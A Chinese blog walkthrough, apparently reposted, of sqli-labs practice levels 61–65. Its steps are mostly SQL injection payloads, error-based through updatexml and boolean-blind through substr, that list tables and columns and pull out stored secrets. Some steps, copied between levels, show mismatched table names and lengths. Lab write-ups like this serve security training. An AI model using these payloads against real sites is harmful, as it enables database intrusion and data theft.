sqli-labs靶场通关攻略 61-65

news2024/9/22 7:39:40

主页有sqli-labs靶场通关攻略 1-60

第六一关 less-61

步骤一:闭合方式:?id=1')) --+

步骤二:查询数据库

?id=1')) and updatexml(1,concat(1,database()),1) --+

步骤三:查出网站的数据库表名

?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)-- +

j921xgvezs

步骤四:查出users表列名

?id=1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='j921xgvezs'),0x7e),1)-- +

secret_1TP3

步骤五:获取目标信息

?id=1')) and updatexml(1,concat(0x7e,(select secret_1TP3 from challenges.j921xgvezs),0x7e),1)-- +

aGvsZ8r33lmoQIi7zelcVCit

输入登录框,提交成功

第六二关 less-62

步骤一:闭合方式:?id=1') --+

步骤二:确定表名

?id=1') and length(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1))=10--+

确定表名有10位

步骤三:查询表名

?id=1') and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='8'--+

推出表名为8q4r8rhld3

步骤四:确定列名

?id=1') and length(substr((select column_name from information_schema.columns where table_name='8q4r8rhld3'limit 3,1),1))=4--+

确定第三列列名有11位

步骤五:查询列名

?id=1') and substr((select column_name from information_schema.columns where table_name='8q4r8rhld3'limit 2,1),1,11)='secret_1jo0'--+

推出列名为secret_1jo0

步骤六:确定字段

?id=1') and length(substr((select secret_BP5W from 9zuk28x2yo limit 0,1),1))='24'--+

判断为24位

步骤七:得出字段

?id=1') and substr((select secret_BP5W from 9zuk28x2yo limit 0,1),1,1)='§a§'--+

输入登录框,提交成功

第六三关 less-63

步骤一:闭合方式:?id=1' --+

步骤二:确定表名

?id=1' and length(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1))=10--+

确定表名有10位

步骤三:查询表名

?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='8'--+

推出表名为8q4r8rhld3

步骤四:确定列名

?id=1' and length(substr((select column_name from information_schema.columns where table_name='8q4r8rhld3'limit 3,1),1))=4--+

确定第三列列名有11位

步骤五:查询列名

?id=1' and substr((select column_name from information_schema.columns where table_name='8q4r8rhld3'limit 2,1),1,11)='secret_1jo0'--+

推出列名为secret_1jo0

步骤六:确定字段

?id=1' and length(substr((select secret_BP5W from 9zuk28x2yo limit 0,1),1))='24'--+

判断为24位

步骤七:得出字段

?id=1' and substr((select secret_BP5W from 9zuk28x2yo limit 0,1),1,1)='§a§'--+

输入登录框,提交成功

第六四关 less-64

步骤一:闭合方式:?id=1)) --+

步骤二:确定表名

?id=1)) and length(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1))=10--+

确定表名有10位

步骤三:查询表名

?id=1)) and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='8'--+

推出表名为8q4r8rhld3

步骤四:确定列名

?id=1)) and length(substr((select column_name from information_schema.columns where table_name='8q4r8rhld3'limit 3,1),1))=4--+

确定第三列列名有11位

步骤五:查询列名

?id=1)) and substr((select column_name from information_schema.columns where table_name='8q4r8rhld3'limit 2,1),1,11)='secret_1jo0'--+

推出列名为secret_1jo0

步骤六:确定字段

?id=1)) and length(substr((select secret_BP5W from 9zuk28x2yo limit 0,1),1))='24'--+

判断为24位

步骤七:得出字段

?id=1)) and substr((select secret_BP5W from 9zuk28x2yo limit 0,1),1,1)='§a§'--+

输入登录框,提交成功

第六五关 less-65

步骤一:闭合方式:?id=1") --+

步骤二:确定表名

?id=1") and length(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1))=10--+

确定表名有10位

步骤三:查询表名

?id=1") and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='8'--+

推出表名为8q4r8rhld3

步骤四:确定列名

?id=1") and length(substr((select column_name from information_schema.columns where table_name='8q4r8rhld3'limit 3,1),1))=4--+

确定第三列列名有11位

步骤五:查询列名

?id=1") and substr((select column_name from information_schema.columns where table_name='8q4r8rhld3'limit 2,1),1,11)='secret_1jo0'--+

推出列名为secret_1jo0

步骤六:确定字段

?id=1") and length(substr((select secret_BP5W from 9zuk28x2yo limit 0,1),1))='24'--+

判断为24位

步骤七:得出字段

?id=1") and substr((select secret_BP5W from 9zuk28x2yo limit 0,1),1,1)='§a§'--+

输入登录框,提交成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2101729.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

15 用户管理

如果我们只能使用root用户,这样存在安全隐患。这时,就需要使用mysql的用户管理 张三只能操纵mytest这个库,李四只能操纵msg这个库,如果给他们root账户,就可以操纵所有库,风险太大 用户 用户信息 用户都存…

项目技巧三

目录 我们现在要实现一个接口功能 1.我们先书写sql语句 2.编写接口 3.书写业务逻辑 4.书写mapper 结果: 缺点:没有根据涨跌幅区间的大小来排序 1.yml文件 2.在value object包下映射这个yml文件 3.开启这个配置类进行映射,并把它交给s…

勒索攻击后快速恢复的八个关键步骤,如何避免被勒索攻击

勒索软件攻击依然是当今企业面临的最大安全威胁之一。根据德迅云安全收集的报告,59%的企业在2023年遭遇了勒索软件攻击,其中56%的受害者最终选择支付赎金以恢复数据。更为严重的是,63%的勒索金额达到或超过了100万美元,平均支付金…

RS232转RS485

1.232转485转换器 232转485转换器是RS-232与RS-485之间的双向接口的转换器,应用于主控机之间,主控机与单片机或外设之间构成点到点,点到多点远程多机通信网络,实现多机应答通信,广泛地应用于工业自动化控制系统&#x…

免费申请aws一年免费服务器使用教程

由于近期要测试一个公网项目,对比之下,选择了aws服务器,免费使用一年。 准备:一个visa信用卡即可,需要一个外网邮箱(我这边使用的hotmail) 注册的步骤不再赘述,切记几个点&#xff0…

windows 环境下安装OpenCV For Java

windows 环境下安装OpenCV For Java 进入官网下载对应安装包 opencv官网地址: https://opencv.org/releases/ source里面是官方的xml文件,包含人脸识别 windows下载下来是一个exe文件,里面包含项目需要的jar包 执行opencv-4.9.0-windows.ex…

被低估的SQL

SQL是现代数据库管理系统中不可或缺的一部分。尽管它的使用已十分普遍,但在数据处理领域,SQL的某些功能和潜力仍然被许多人低估。接下来,小编将与您一起,探讨SQL的一些被忽视的特性,揭示它在数据管理中的真正实力。 1.…

《深度学习》OpenCV轮廓检测 轮廓近似、模板匹配 解析及实现

一、轮廓近似 1、什么是轮廓近似 指对轮廓进行逼近或拟合,得到近似的轮廓。在图像处理中,轮廓表示了图像中物体的边界,因此轮廓近似可以用来描述和识别物体的形状。 2、参数解析 1)用法 import cv2 approx cv2.approxPolyDP(cu…

Java SpringBoot构建助农平台,三步实现高效捐赠,2025届设计新思路!

✍✍计算机毕业编程指导师** ⭐⭐个人介绍:自己非常喜欢研究技术问题!专业做Java、Python、微信小程序、安卓、大数据、爬虫、Golang、大屏等实战项目。 ⛽⛽实战项目:有源码或者技术上的问题欢迎在评论区一起讨论交流! ⚡⚡ Java…

如何应对 Android 面试官 -> 内存如何进行优化?玩转 LeakCanary

前言 本章主要围绕内存相关的知识点讲解; 内存分配 在内存优化中,我们通常需要借助一些常用的 adb 命令,方便我们快速定位,下面是一些常用的 adb 命令总结 常用 adb 命令 adb shell getprop ro.product.model // 手机型号adb s…

HTTP“请求”和“响应”的报头及正文详解

目录 一、请求 "报头" (header) 二、请求 "正文" (body) 2.1 application/x-www-form-urlencoded 2.2 multipart/form-data 2.3 application/json 三、HTTP 响应状态码 四、响应 "报头" (header) 五、响应 "正文" (body) 5.1…

如何设置Word文档部分内容无法编辑?

工作中,我们可能会在word中制作一些请柬、表格之类的,有些文件内容不想要进行修改,为了防止他人随意修改内容。我们可以设置限制编辑,可以对一部分内容设置限制编辑,具体方法如下: 我们将需要将可以编辑的…

记录 PyQt6 / PySide 6 自定义边框窗口的 Bug 及可能可行的解决方案:窗口抖动和添加 DWM 环绕阴影的大致原理

前言: 本篇文章将要讨论我在前不久发表的关于 PyQt6 / PySide6 自定义边框窗口代码及内容中的问题: (终)PyQt6 / PySide 6 Pywin32 自定义标题栏窗口 完全还原 Windows 原生窗口边框特效_pyside6 win32 无边框窗口-CSDN博客ht…

【C++11(一)之入门基础)】

文章目录 C简介统一的列表初始化{}初始化 std::initializer_liststd::initializer_list是什么类型:std::initializer_list使用场景: 声明autodecltypenullptr STL中一些变化 C简介 在2003年C标准委员会曾经提交了一份技术勘误表(…

报告 | 以消费者为中心,消费品零售行业数字化建设持续深化

​2024年是“消费促进年”,国内消费市场稳步复苏。在消费需求多样化、国家政策的推动下,“数字化转型”仍是消费品零售行业的年度主题词,是品牌方获取核心竞争力的必要途径。消费品零售行业的数字化转型重心有所调整,从线上渠道布…

ARM架构

一、内存分布结构 栈:局部变量 函数参数 函数返回地址 堆:程序员自己管理的内存区域,使用是需要动态申请,使用捷顺后需要释放 bss: 初始化为0和未初始化的全局及静态变量 data:初始化不为0全局及静态变量…

Opencv中的直方图(4)局部直方图均衡技术函数createCLAHE()的使用

操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 算法描述 创建一个指向 cv::CLAHE 类的智能指针并初始化它。 函数原型 Ptr<CLAHE> cv::createCLAHE (double clipLimit 40.0,Size tileGridSize…

JavaScript的BOM模型

一、浏览器环境概述(BOM) JavaScript 是浏览器的内置脚本语言&#xff0c;一旦网页内嵌了 JavaScript 脚本&#xff0c;浏览器加载网页&#xff0c;就会去执行脚本&#xff0c;从而达到操作浏览器的目的&#xff0c;实现网页的各种动态效果 二、script 元素工作原理 浏览器加…

网络编程 0903作业

作业 1、将TCP的CS模型再敲一遍 tcpserver.c #include <myhead.h> #define SERPORT 1111 #define SERIP "192.168.58.128" #define BACKLOG 40 int main(int argc, const char *argv[]) {int oldfd socket(AF_INET,SOCK_STREAM,0);//1、产生一个原始套接字…

pikachu文件包含漏洞靶场

File inclusion(local) 创建1.php 步骤一&#xff1a;选择一个球员提交 ../../../../1.php File Inclusion(remote)&#xff08;远程文件包含&#xff09; 步骤一&#xff1a;更改参数 php.ini ⾥有两个重要的参数 allow_url_fopen 、allow_url_include &#xff1b; 步骤二…